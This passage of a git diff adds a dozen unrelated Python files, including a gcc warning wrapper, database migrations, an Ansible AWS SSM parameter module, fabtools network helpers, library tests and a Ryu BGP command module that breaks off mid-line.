AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NON-INFRINGEMENT ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# Invoke gcc, looking for warnings, and causing a failure if there are +# non-whitelisted warnings. + +import errno +import re +import os +import sys +import subprocess + +# Note that gcc uses unicode, which may depend on the locale. TODO: +# force LANG to be set to en_US.UTF-8 to get consistent warnings. + +allowed_warnings = set([ + "return_address.c:63", + "clkdev.c:47", + ]) + +# Capture the name of the object file, can find it. +ofile = None + +warning_re = re.compile(r'''(.*/|)([^/]+\.[a-z]+:\d+):(\d+:)? warning:''') +def interpret_warning(line): + """Decode the message from gcc. The messages we care about have a filename, and a warning""" + line = line.rstrip('\n') + m = warning_re.match(line) + if m and m.group(2) not in allowed_warnings: + print "error, forbidden warning:", m.group(2) + + # If there is a warning, remove any object if it exists. + if ofile: + try: + os.remove(ofile) + except OSError: + pass + sys.exit(1) + +def run_gcc(): + args = sys.argv[1:] + # Look for -o + try: + i = args.index('-o') + global ofile + ofile = args[i+1] + except (ValueError, IndexError): + pass + + compiler = sys.argv[0] + + try: + proc = subprocess.Popen(args, stderr=subprocess.PIPE) + for line in proc.stderr: + print line, + interpret_warning(line) + + result = proc.wait() + except OSError as e: + result = e.errno + if result == errno.ENOENT: + print args[0] + ':',e.strerror + print 'Is your PATH set correctly?' + else: + print ' '.join(args), str(e) + + return result + +if __name__ == '__main__': + status = run_gcc() + sys.exit(status) diff --git a/pool/shard008/Python/0076897_client_server_genhtml.py b/pool/shard008/Python/0076897_client_server_genhtml.py new file mode 100644 index 0000000000000000000000000000000000000000..bf1c52e59571339b8412389e3148c6c370fdeaf2 --- /dev/null +++ b/pool/shard008/Python/0076897_client_server_genhtml.py @@ -0,0 +1,111 @@ +from __future__ import print_function + +"""Generate a HTML report based on network test output +""" + +import os +import json +import shutil +import glob +import sys +import argparse +import jinja2 + +from .test_suite import registered_properties + +if sys.version_info[0] == 2: + from io import open + +STATIC_DATA_FILES = { + 'result_colors': 'result-colors.json', +} +data_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'data') + +def load_data(filename): + print('Loading', filename, file=sys.stderr) + if filename.endswith('.json'): + with open(filename, encoding='utf-8') as file: + return json.load(file) + else: + raise ValueError('Unknown extension: ' + filename) + +def build(staticdatadir, outdir, templatedir, input_file): + try: + shutil.rmtree(outdir) + except Exception: + pass + os.makedirs(outdir) + + data = {ident: load_data(os.path.join(staticdatadir, filename)) + for ident, filename in STATIC_DATA_FILES.items()} + data['schema'] = registered_properties + + data['results'] = results = {} + for filename in input_file: + result = load_data(filename) + try: + result = dict(result) + except ValueError: + raise ValueError('Data needs to be a mapping: ', filename) + if not set(result.keys()).isdisjoint(results.keys()): + raise ValueError('Overwriting data: ', filename) + results.update(result) + + loader = jinja2.FileSystemLoader(templatedir) + template_env = jinja2.Environment( + loader=loader, + undefined=jinja2.StrictUndefined, + ) + + def render(out_name, template_name, **env): + template = template_env.get_template(template_name) + result = template.render(data=data, **env) + output_filename = os.path.join(outdir, out_name) + dirname = os.path.dirname(output_filename) + try: + os.makedirs(dirname) + except OSError: + pass + print('Writing:', output_filename) + with open(output_filename, 'w') as file: + file.write(result) + + # Render all the pages + render('index.html', 'index.html', breadcrumbs=()) + + for name, testcase in data['results'].items(): + render('cases/{}.html'.format(name), 'testcase.html', + testcase_name=name, testcase=testcase, + breadcrumbs=[ + ('Network Test Report', '../index.html'), + (name, None), + ]) + + print('Wrote to', os.path.abspath(outdir)) + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('-s', '--staticdatadir', action='store', default=os.path.join(data_path, 'report/static_data/'), + help='Alternate directory containing static data such as test descriptions') + parser.add_argument('-o', '--output', action='store', default=os.path.join('.', 'html-output/'), + help='Directory for output (will be overwritten)') + parser.add_argument('-t', '--templatedir', action='store', default=os.path.join(data_path, 'report/templates/'), + help='Directory containing HTML templates') + parser.add_argument('--example-data', action='store_true', + help='Use example data by default.') + parser.add_argument('input_file', nargs='*', help='Files what will be used as input') + args = parser.parse_args() + + if args.input_file: + files = args.input_file + else: + if args.example_data: + path = os.path.join(data_path, "report/example_data/*") + else: + path = "./json-output/test-client-server-*.json" + files = glob.glob(path) + if not files: + print("File not found: {}".format(path), file=sys.stderr) + exit(1) + + build(args.staticdatadir, args.output, args.templatedir, files) diff --git a/pool/shard008/Python/0076914_test_snapshot.py b/pool/shard008/Python/0076914_test_snapshot.py new file mode 100644 index 0000000000000000000000000000000000000000..e4cf1abc6cc6a0e75a409bfb61eb5a3302724f18 --- /dev/null +++ b/pool/shard008/Python/0076914_test_snapshot.py @@ -0,0 +1,59 @@ +import unittest +import random +import os +import shutil +import tempfile + +from PIL import Image + +from simphony.cuds.mesh import Mesh +from simphony.cuds.particles import Particles, Particle + +from simphony_aviz.snapshot import snapshot +from simphony_aviz.testing.utils import create_lattice + + +class TestSnapshot(unittest.TestCase): + def setUp(self): + self.temp_dir = tempfile.mkdtemp() + self.filename = os.path.join(self.temp_dir, 'test.png') + self.addCleanup(self.cleanup) + + def cleanup(self): + shutil.rmtree(self.temp_dir) + + def test_particles_snapshot(self): + particles = Particles("test") + random.seed(42) + for i in range(0, 1000): + p = Particle(coordinates=(random.uniform(0.0, 10.0), + random.uniform(0.0, 10.0), + random.uniform(0.0, 10.0))) + particles.add([p]) + + snapshot(particles, self.filename) + self.assertTrue(os.path.exists(self.filename)) + image = Image.open(self.filename) + self.assertTrue(image.size) + self.assertTrue(image.size[0] > 0 and image.size[1] > 0) + + def test_lattice_snapshot(self): + lattice = create_lattice() + + with self.assertRaises(TypeError): + snapshot(lattice, "fail.png") + + def test_mesh_snapshot(self): + mesh = Mesh('test') + + with self.assertRaises(TypeError): + snapshot(mesh, "fail.png") + + def test_unknown_container(self): + container = object() + with self.assertRaises(TypeError): + snapshot(container, "fail.png") + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard008/Python/0076916_007_add_extra_created_updated_to_chassis.py b/pool/shard008/Python/0076916_007_add_extra_created_updated_to_chassis.py new file mode 100644 index 0000000000000000000000000000000000000000..50e385c86e195ac2f260a2508024c1b63dfa79aa --- /dev/null +++ b/pool/shard008/Python/0076916_007_add_extra_created_updated_to_chassis.py @@ -0,0 +1,31 @@ +# vim: tabstop=4 shiftwidth=4 softtabstop=4 +# -*- encoding: utf-8 -*- +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from sqlalchemy import Table, Column, Text, DateTime, MetaData + + +def upgrade(migrate_engine): + meta = MetaData() + meta.bind = migrate_engine + + chassis = Table('chassis', meta, autoload=True) + + chassis.create_column(Column('extra', Text)) + chassis.create_column(Column('created_at', DateTime)) + chassis.create_column(Column('updated_at', DateTime)) + + +def downgrade(migrate_engine): + raise NotImplementedError('Downgrade from version 007 is unsupported.') diff --git a/pool/shard008/Python/0076918_0041_auto_20200818_1739.py b/pool/shard008/Python/0076918_0041_auto_20200818_1739.py new file mode 100644 index 0000000000000000000000000000000000000000..48e723b98b2d70f779ccaf8999cc728776db8787 --- /dev/null +++ b/pool/shard008/Python/0076918_0041_auto_20200818_1739.py @@ -0,0 +1,24 @@ +# Generated by Django 2.2.12 on 2020-08-18 21:39 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('plugins', '0040_auto_20200811_1830'), + ] + + operations = [ + migrations.AddField( + model_name='computeresource', + name='compute_url', + field=models.URLField(default='http://pfcon.remote:5005/api/v1/', max_length=300), + preserve_default=False, + ), + migrations.AlterField( + model_name='computeresource', + name='description', + field=models.CharField(blank=True, max_length=600), + ), + ] diff --git a/pool/shard008/Python/0076922_network.py b/pool/shard008/Python/0076922_network.py new file mode 100644 index 0000000000000000000000000000000000000000..27b765338d6618c7d55a2af9df622bf3b272c8f1 --- /dev/null +++ b/pool/shard008/Python/0076922_network.py @@ -0,0 +1,59 @@ +""" +Network +======= +""" +from __future__ import with_statement + +from fabric.api import hide, run, settings, sudo +from fabtools.files import is_file + + +def interfaces(): + """ + Get the list of network interfaces. Will return all datalinks on SmartOS. + """ + with settings(hide('running', 'stdout')): + if is_file('/usr/sbin/dladm'): + res = run('/usr/sbin/dladm show-link') + else: + res = sudo('/sbin/ifconfig -s') + return map(lambda line: line.split(' ')[0], res.splitlines()[1:]) + + +def address(interface): + """ + Get the IPv4 address assigned to an interface. + + Example:: + + import fabtools + + # Print all configured IP addresses + for interface in fabtools.network.interfaces(): + print(fabtools.network.address(interface)) + + """ + with settings(hide('running', 'stdout')): + res = sudo("/sbin/ifconfig %(interface)s | grep 'inet '" % locals()) + if 'addr' in res: + return res.split()[1].split(':')[1] + else: + return res.split()[1] + + +def nameservers(): + """ + Get the list of nameserver addresses. + + Example:: + + import fabtools + + # Check that all name servers are reachable + for ip in fabtools.network.nameservers(): + run('ping -c1 %s' % ip) + + """ + with settings(hide('running', 'stdout')): + res = run(r"cat /etc/resolv.conf | grep 'nameserver' | cut -d\ -f2") + return res.splitlines() diff --git a/pool/shard008/Python/0076924_aws_ssm_parameter_store.py b/pool/shard008/Python/0076924_aws_ssm_parameter_store.py new file mode 100644 index 0000000000000000000000000000000000000000..7265dfda79c9d3049470dc631646bc770c733915 --- /dev/null +++ b/pool/shard008/Python/0076924_aws_ssm_parameter_store.py @@ -0,0 +1,256 @@ +#!/usr/bin/python +# Copyright: (c) 2017, Ansible Project +# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) + +ANSIBLE_METADATA = {'status': ['preview'], + 'supported_by': 'community', + 'metadata_version': '1.1'} + +DOCUMENTATION = ''' +--- +module: aws_ssm_parameter_store +short_description: Manage key-value pairs in aws parameter store. +description: + - Manage key-value pairs in aws parameter store. +version_added: "2.5" +options: + name: + description: + - parameter key name. + required: true + description: + description: + - parameter key desciption. + required: false + value: + description: + - Parameter value. + required: false + state: + description: + - Creates or modifies an existing parameter + - Deletes a parameter + required: false + choices: ['present', 'absent'] + default: present + string_type: + description: + - Parameter String type + required: false + choices: ['String', 'StringList', 'SecureString'] + default: String + decryption: + description: + - Work with SecureString type to get plain text secrets + - Boolean + required: false + default: True + key_id: + description: + - aws KMS key to decrypt the secrets. + required: false + default: aws/ssm (this key is automatically generated at the first parameter created). + overwrite_value: + description: + - Option to overwrite an existing value if it already exists. + - String + required: false + version_added: "2.6" + choices: ['never', 'changed', 'always'] + default: changed + region: + description: + - region. + required: false +author: + - Nathan Webster (@nathanwebsterdotme) + - Bill Wang (ozbillwang@gmail.com) + - Michael De La Rue (@mikedlr) +extends_documentation_fragment: aws +requirements: [ botocore, boto3 ] +''' + +EXAMPLES = ''' +- name: Create or update key/value pair in aws parameter store + aws_ssm_parameter_store: + name: "Hello" + description: "This is your first key" + value: "World" + +- name: Delete the key + aws_ssm_parameter_store: + name: "Hello" + state: absent + +- name: Create or update secure key/value pair with default kms key (aws/ssm) + aws_ssm_parameter_store: + name: "Hello" + description: "This is your first key" + string_type: "SecureString" + value: "World" + +- name: Create or update secure key/value pair with nominated kms key + aws_ssm_parameter_store: + name: "Hello" + description: "This is your first key" + string_type: "SecureString" + key_id: "alias/demo" + value: "World" + +- name: Always update a parameter store value and create a new version + aws_ssm_parameter_store: + name: "overwrite_example" + description: "This example will always overwrite the value" + string_type: "String" + value: "Test1234" + overwrite_value: "always" + +- name: recommend to use with aws_ssm lookup plugin + debug: msg="{{ lookup('aws_ssm', 'hello') }}" +''' + +RETURN = ''' +put_parameter: + description: Add one or more paramaters to the system. + returned: success + type: dictionary +delete_parameter: + description: Delete a parameter from the system. + returned: success + type: dictionary +''' + +from ansible.module_utils.aws.core import AnsibleAWSModule +from ansible.module_utils.ec2 import boto3_conn, get_aws_connection_info + +try: + from botocore.exceptions import ClientError +except ImportError: + pass # will be captured by imported HAS_BOTO3 + + +def update_parameter(client, module, args): + changed = False + response = {} + + try: + response = client.put_parameter(**args) + changed = True + except ClientError as e: + module.fail_json_aws(e, msg="setting parameter") + + return changed, response + + +def create_update_parameter(client, module): + changed = False + existing_parameter = None + response = {} + + args = dict( + Name=module.params.get('name'), + Value=module.params.get('value'), + Type=module.params.get('string_type') + ) + + if (module.params.get('overwrite_value') in ("always", "changed")): + args.update(Overwrite=True) + else: + args.update(Overwrite=False) + + if module.params.get('description'): + args.update(Description=module.params.get('description')) + + if module.params.get('string_type') == 'SecureString': + args.update(KeyId=module.params.get('key_id')) + + try: + existing_parameter = client.get_parameter(Name=args['Name'], WithDecryption=True) + except: + pass + + if existing_parameter: + if (module.params.get('overwrite_value') == 'always'): + + (changed, response) = update_parameter(client, module, args) + + elif (module.params.get('overwrite_value') == 'changed'): + if existing_parameter['Parameter']['Type'] != args['Type']: + (changed, response) = update_parameter(client, module, args) + + if existing_parameter['Parameter']['Value'] != args['Value']: + (changed, response) = update_parameter(client, module, args) + + if args.get('Description'): + # Description field not available from get_parameter function so get it from describe_parameters + describe_existing_parameter = None + try: + describe_existing_parameter_paginator = client.get_paginator('describe_parameters') + describe_existing_parameter = describe_existing_parameter_paginator.paginate( + Filters=[{"Key": "Name", "Values": [args['Name']]}]).build_full_result() + + except ClientError as e: + module.fail_json_aws(e, msg="getting description value") + + if describe_existing_parameter['Parameters'][0]['Description'] != args['Description']: + (changed, response) = update_parameter(client, module, args) + else: + (changed, response) = update_parameter(client, module, args) + + return changed, response + + +def delete_parameter(client, module): + response = {} + + try: + response = client.delete_parameter( + Name=module.params.get('name') + ) + except ClientError as e: + if e.response['Error']['Code'] == 'ParameterNotFound': + return False, {} + module.fail_json_aws(e, msg="deleting parameter") + + return True, response + + +def setup_client(module): + region, ec2_url, aws_connect_params = get_aws_connection_info(module, boto3=True) + connection = boto3_conn(module, conn_type='client', resource='ssm', region=region, endpoint=ec2_url, **aws_connect_params) + return connection + + +def setup_module_object(): + argument_spec = dict( + name=dict(required=True), + description=dict(), + value=dict(required=False, no_log=True), + state=dict(default='present', choices=['present', 'absent']), + string_type=dict(default='String', choices=['String', 'StringList', 'SecureString']), + decryption=dict(default=True, type='bool'), + key_id=dict(default="alias/aws/ssm"), + overwrite_value=dict(default='changed', choices=['never', 'changed', 'always']), + region=dict(required=False), + ) + + return AnsibleAWSModule( + argument_spec=argument_spec, + ) + + +def main(): + module = setup_module_object() + state = module.params.get('state') + client = setup_client(module) + + invocations = { + "present": create_update_parameter, + "absent": delete_parameter, + } + (changed, response) = invocations[state](client, module) + module.exit_json(changed=changed, response=response) + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0076926_runBacktesting.py b/pool/shard008/Python/0076926_runBacktesting.py new file mode 100644 index 0000000000000000000000000000000000000000..334e51d39329cc7dcb63f96738c3f34d39fe3269 --- /dev/null +++ b/pool/shard008/Python/0076926_runBacktesting.py @@ -0,0 +1,42 @@ +# encoding: UTF-8 + +""" +展示如何执行策略回测。 +""" + +from __future__ import division + + +from vnpy.trader.app.ctaStrategy.ctaBacktesting import BacktestingEngine, MINUTE_DB_NAME + + +if __name__ == '__main__': + from vnpy.trader.app.ctaStrategy.strategy.strategyKingKeltner import KkStrategy + + # 创建回测引擎 + engine = BacktestingEngine() + + # 设置引擎的回测模式为K线 + engine.setBacktestingMode(engine.BAR_MODE) + + # 设置回测用的数据起始日期 + engine.setStartDate('20120101') + + # 设置产品相关参数 + engine.setSlippage(0.2) # 股指1跳 + engine.setRate(0.3/10000) # 万0.3 + engine.setSize(300) # 股指合约大小 + engine.setPriceTick(0.2) # 股指最小价格变动 + + # 设置使用的历史数据库 + engine.setDatabase(MINUTE_DB_NAME, 'IF0000') + + # 在引擎中创建策略对象 + d = {} + engine.initStrategy(KkStrategy, d) + + # 开始跑回测 + engine.runBacktesting() + + # 显示回测结果 + engine.showBacktestingResult() \ No newline at end of file diff --git a/pool/shard008/Python/0076928_test_io_init.py b/pool/shard008/Python/0076928_test_io_init.py new file mode 100644 index 0000000000000000000000000000000000000000..f3f28c4a723b9d18ddb0f8f64ba1a941348b5695 --- /dev/null +++ b/pool/shard008/Python/0076928_test_io_init.py @@ -0,0 +1,136 @@ +# (C) British Crown Copyright 2010 - 2014, Met Office +# +# This file is part of Iris. +# +# Iris is free software: you can redistribute it and/or modify it under +# the terms of the GNU Lesser General Public License as published by the +# Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Iris is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with Iris. If not, see . +""" +Test the io/__init__.py module. + +""" + +from __future__ import (absolute_import, division, print_function) + +# import iris tests first so that some things can be initialised before importing anything else +import iris.tests as tests + +import unittest +from io import BytesIO + +import iris.fileformats as iff +import iris.io + + +class TestDecodeUri(unittest.TestCase): + def test_decode_uri(self): + tests = { + '/data/local/someDir/PP/COLPEX/COLPEX_16a_pj001.pp': ( + 'file', '/data/local/someDir/PP/COLPEX/COLPEX_16a_pj001.pp' + ), + 'C:\data\local\someDir\PP\COLPEX\COLPEX_16a_pj001.pp': ( + 'file', 'C:\data\local\someDir\PP\COLPEX\COLPEX_16a_pj001.pp' + ), + 'file:///data/local/someDir/PP/COLPEX/COLPEX_16a_pj001.pp': ( + 'file', '///data/local/someDir/PP/COLPEX/COLPEX_16a_pj001.pp' + ), + 'http://www.somehost.com:8080/resource/thing.grib': ( + 'http', '//www.somehost.com:8080/resource/thing.grib' + ), + '/data/local/someDir/2013-11-25T13:49:17.632797': ( + 'file', '/data/local/someDir/2013-11-25T13:49:17.632797' + ), + } + for uri, pair in tests.items(): + self.assertEqual(pair, iris.io.decode_uri(uri)) + + +class TestFileFormatPicker(tests.IrisTest): + def test_known_formats(self): + self.assertString(str(iff.FORMAT_AGENT), + tests.get_result_path(('file_load', + 'known_loaders.txt'))) + + @tests.skip_data + def test_format_picker(self): + # ways to test the format picker = list of (format-name, file-spec) + test_specs = [ + ('NetCDF', + ['NetCDF', 'global', 'xyt', 'SMALL_total_column_co2.nc']), + ('NetCDF 64 bit offset format', + ['NetCDF', 'global', 'xyt', 'SMALL_total_column_co2.nc.k2']), + ('NetCDF_v4', + ['NetCDF', 'global', 'xyt', 'SMALL_total_column_co2.nc4.k3']), + ('NetCDF_v4', + ['NetCDF', 'global', 'xyt', 'SMALL_total_column_co2.nc4.k4']), + ('UM Fieldsfile (FF) post v5.2', + ['FF', 'n48_multi_field']), + ('GRIB', + ['GRIB', 'grib1_second_order_packing', 'GRIB_00008_FRANX01']), + ('GRIB', + ['GRIB', 'jpeg2000', 'file.grib2']), + ('UM Post Processing file (PP)', + ['PP', 'simple_pp', 'global.pp']), + ('UM Fieldsfile (FF) ancillary', + ['FF', 'ancillary_fixed_length_header']), +# ('BUFR', +# ['BUFR', 'mss', 'BUFR_Samples', +# 'JUPV78_EGRR_121200_00002501']), + ('NIMROD', + ['NIMROD', 'uk2km', 'WO0000000003452', + '201007020900_u1096_ng_ey00_visibility0180_screen_2km']), +# ('NAME', +# ['NAME', '20100509_18Z_variablesource_12Z_VAAC', +# 'Fields_grid1_201005110000.txt']), + ] + + # test that each filespec is identified as the expected format + for (expected_format_name, file_spec) in test_specs: + test_path = tests.get_data_path(file_spec) + with open(test_path, 'r') as test_file: + a = iff.FORMAT_AGENT.get_spec(test_path, test_file) + self.assertEqual(a.name, expected_format_name) + + def test_format_picker_nodata(self): + # The following is to replace the above at some point as no real files + # are required. + # (Used binascii.unhexlify() to convert from hex to binary) + + # Packaged grib, magic number offset by set length, this length is + # specific to WMO bulletin headers + header_lengths = [21, 80, 41, 42] + for header_length in header_lengths: + binary_string = header_length * '\x00' + 'GRIB' + '\x00' * 100 + with BytesIO('rw') as bh: + bh.write(binary_string) + bh.name = 'fake_file_handle' + a = iff.FORMAT_AGENT.get_spec(bh.name, bh) + self.assertEqual(a.name, 'GRIB') + + def test_open_dap(self): + # tests that *ANY* http or https URL is seen as an OPeNDAP service. + # This may need to change in the future if other protocols are + # supported. + DAP_URI = 'http://geoport.whoi.edu/thredds/dodsC/bathy/gom15' + a = iff.FORMAT_AGENT.get_spec(DAP_URI, None) + self.assertEqual(a.name, 'NetCDF OPeNDAP') + + +@tests.skip_data +class TestFileExceptions(tests.IrisTest): + def test_pp_little_endian(self): + filename = tests.get_data_path(('PP', 'aPPglob1', 'global_little_endian.pp')) + self.assertRaises(ValueError, iris.load_cube, filename) + + +if __name__ == '__main__': + tests.main() diff --git a/pool/shard008/Python/0076934_registry.py b/pool/shard008/Python/0076934_registry.py new file mode 100644 index 0000000000000000000000000000000000000000..fe0edd1750b0b99afc3e032f56bcac4b6a15e550 --- /dev/null +++ b/pool/shard008/Python/0076934_registry.py @@ -0,0 +1,141 @@ +# coding: utf-8 +# pylint: disable=no-member + +"""Registry for serializable objects.""" +from __future__ import absolute_import + +import json +import warnings + +from .base import string_types + +_REGISTRY = {} + + +def get_register_func(base_class, nickname): + """Get registrator function. + + Parameters + ---------- + base_class : type + base class for classes that will be reigstered + nickname : str + nickname of base_class for logging + + Returns + ------- + a registrator function + """ + if base_class not in _REGISTRY: + _REGISTRY[base_class] = {} + registry = _REGISTRY[base_class] + + def register(klass, name=None): + """Register functions""" + assert issubclass(klass, base_class), \ + "Can only register subclass of %s"%base_class.__name__ + if name is None: + name = klass.__name__.lower() + if name in registry: + warnings.warn( + "\033[91mNew %s %s.%s registered with name %s is" + "overriding existing %s %s.%s\033[0m"%( + nickname, klass.__module__, klass.__name__, name, + nickname, registry[name].__module__, registry[name].__name__), + UserWarning, stacklevel=2) + registry[name] = klass + return klass + + register.__doc__ = "Register %s to the %s factory"%(nickname, nickname) + return register + + +def get_alias_func(base_class, nickname): + """Get registrator function that allow aliases. + + Parameters + ---------- + base_class : type + base class for classes that will be reigstered + nickname : str + nickname of base_class for logging + + Returns + ------- + a registrator function + """ + register = get_register_func(base_class, nickname) + + def alias(*aliases): + """alias registrator""" + def reg(klass): + """registrator function""" + for name in aliases: + register(klass, name) + return klass + return reg + return alias + + +def get_create_func(base_class, nickname): + """Get creator function + + Parameters + ---------- + base_class : type + base class for classes that will be reigstered + nickname : str + nickname of base_class for logging + + Returns + ------- + a creator function + """ + if base_class not in _REGISTRY: + _REGISTRY[base_class] = {} + registry = _REGISTRY[base_class] + + def create(*args, **kwargs): + """Create instance from config""" + if len(args): + name = args[0] + args = args[1:] + else: + name = kwargs.pop(nickname) + + if isinstance(name, base_class): + assert len(args) == 0 and len(kwargs) == 0, \ + "%s is already an instance. Additional arguments are invalid"%(nickname) + return name + + if isinstance(name, dict): + return create(**name) + + assert isinstance(name, string_types), "%s must be of string type"%nickname + + if name.startswith('['): + assert not args and not kwargs + name, kwargs = json.loads(name) + return create(name, **kwargs) + elif name.startswith('{'): + assert not args and not kwargs + kwargs = json.loads(name) + return create(**kwargs) + + name = name.lower() + assert name in registry, \ + "%s is not registered. Please register with %s.register first"%( + str(name), nickname) + return registry[name](*args, **kwargs) + + create.__doc__ = """Create a %s instance from config. + +Parameters +---------- +%s : str or %s instance + class name of desired instance. If is a instance, + it will be returned directly. +**kwargs : dict + arguments to be passed to constructor"""%(nickname, nickname, base_class.__name__) + + return create diff --git a/pool/shard008/Python/0076935_ml_train.py b/pool/shard008/Python/0076935_ml_train.py new file mode 100644 index 0000000000000000000000000000000000000000..51f3d45310ff21e744b3f6926f4629baf6d5fb71 --- /dev/null +++ b/pool/shard008/Python/0076935_ml_train.py @@ -0,0 +1,60 @@ +# Copyright 2019 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Handler that schedules ML train jobs.""" + +from clusterfuzz._internal.base import tasks +from clusterfuzz._internal.datastore import data_types +from clusterfuzz._internal.datastore import fuzz_target_utils +from clusterfuzz._internal.metrics import logs +from handlers import base_handler +from libs import handler + +MODEL_NAME_TO_TASK = { + 'rnn_generator': 'train_rnn_generator', +} + + +class Handler(base_handler.Handler): + """Schedule ML train tasks.""" + + @handler.cron() + def get(self): + """Handle a GET request.""" + for job in data_types.Job.query(): + + models = job.get_environment().get('ML_MODELS_TO_USE') + if not models: + continue + + task_list = [] + for model_name in models.split(','): + try: + task_list.append(MODEL_NAME_TO_TASK[model_name.strip()]) + except KeyError: + logs.log_error(f'Invalid ML model {model_name} for job {job.name}.') + + if not task_list: + continue + + target_jobs = list(fuzz_target_utils.get_fuzz_target_jobs(job=job.name)) + fuzz_targets = fuzz_target_utils.get_fuzz_targets_for_target_jobs( + target_jobs) + + for task_name in task_list: + for target in fuzz_targets: + tasks.add_task( + task_name, + target.fully_qualified_name(), + job.name, + queue=tasks.ML_JOBS_TASKQUEUE) diff --git a/pool/shard008/Python/0076939_0004_credo_migration_microsites.py b/pool/shard008/Python/0076939_0004_credo_migration_microsites.py new file mode 100644 index 0000000000000000000000000000000000000000..5b099958f1db6d4489b19d48894469b6a44b8e9a --- /dev/null +++ b/pool/shard008/Python/0076939_0004_credo_migration_microsites.py @@ -0,0 +1,48 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.15 on 2018-11-02 11:03 +from __future__ import unicode_literals + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + ('microsite_configuration', '0003_delete_historical_records'), + ] + + operations = [ + migrations.AlterModelOptions( + name='microsite', + options={'ordering': ('key',)}, + ), + migrations.AlterModelOptions( + name='micrositeorganizationmapping', + options={'ordering': ('organization', 'microsite')}, + ), + migrations.AlterField( + model_name='microsite', + name='key', + field=models.CharField(db_index=True, max_length=255, unique=True), + ), + migrations.AlterField( + model_name='microsite', + name='site', + field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='microsite', to='sites.Site'), + ), + migrations.AlterField( + model_name='micrositehistory', + name='key', + field=models.CharField(db_index=True, max_length=255), + ), + migrations.AlterField( + model_name='micrositeorganizationmapping', + name='organization', + field=models.CharField(db_index=True, max_length=255), + ), + migrations.AlterUniqueTogether( + name='micrositeorganizationmapping', + unique_together=set([('organization', 'microsite')]), + ), + ] diff --git a/pool/shard008/Python/0076952_neighbor.py b/pool/shard008/Python/0076952_neighbor.py new file mode 100644 index 0000000000000000000000000000000000000000..bd3fda7c8b3c2d9ec22021002d2de8c1d2cab51f --- /dev/null +++ b/pool/shard008/Python/0076952_neighbor.py @@ -0,0 +1,135 @@ +import logging +import pprint + +from ryu.services.protocols.bgp.operator.command import Command +from ryu.services.protocols.bgp.operator.command import CommandsResponse +from ryu.services.protocols.bgp.operator.command import STATUS_ERROR +from ryu.services.protocols.bgp.operator.command import STATUS_OK +from ryu.services.protocols.bgp.operator.commands.responses import \ + WrongParamResp +from ryu.services.protocols.bgp.operator.views.bgp import CoreServiceDetailView +from ryu.lib.packet.bgp import RF_IPv4_UC +from ryu.lib.packet.bgp import RF_IPv6_UC +from ryu.lib.packet.bgp import RF_IPv4_VPN +from ryu.lib.packet.bgp import RF_IPv6_VPN + +LOG = logging.getLogger('bgpspeaker.operator.commands.show.summary') + + +class NeighborSummary(Command): + help_msg = 'show summarized neighbor information' + command = 'summary' + + def action(self, params): + requested_peers = [] + if len(params) > 0: + requested_peers = [str(p) for p in params] + + core_service = self.api.get_core_service() + core_service_view = CoreServiceDetailView(core_service) + peers_view = core_service_view.rel('peer_manager').rel('peers_summary') + + def filter_requested(peer_id, peer_obj): + return not requested_peers or peer_id in requested_peers + + peers_view.apply_filter(filter_requested) + ret = peers_view.encode() + return CommandsResponse(STATUS_OK, ret) + + +class SentRoutes(Command): + help_msg = 'paths sent and not withdrawn to given peer' + command = 'sent-routes' + param_help_msg = ' {vpnv4, vpnv6, ipv4, ipv6, all}' + + def action(self, params): + if len(params) != 2: + return WrongParamResp() + ip_addr, addr_family = params + + if addr_family == 'ipv4': + rf = RF_IPv4_UC + elif addr_family == 'ipv6': + rf = RF_IPv6_UC + elif addr_family == 'vpnv4': + rf = RF_IPv4_VPN + elif addr_family == 'vpnv6': + rf = RF_IPv6_VPN + elif addr_family == 'all': + rf = None + else: + return WrongParamResp('wrong addr_family name') + + ret = self._retrieve_paths(addr_family, rf, ip_addr).encode() + ret = { + path['nlri']['formatted_nlri']: path + for path in ret + } + + return CommandsResponse(STATUS_OK, ret) + + def _retrieve_paths(self, addr_family, route_family, ip_addr): + global_tables_view = 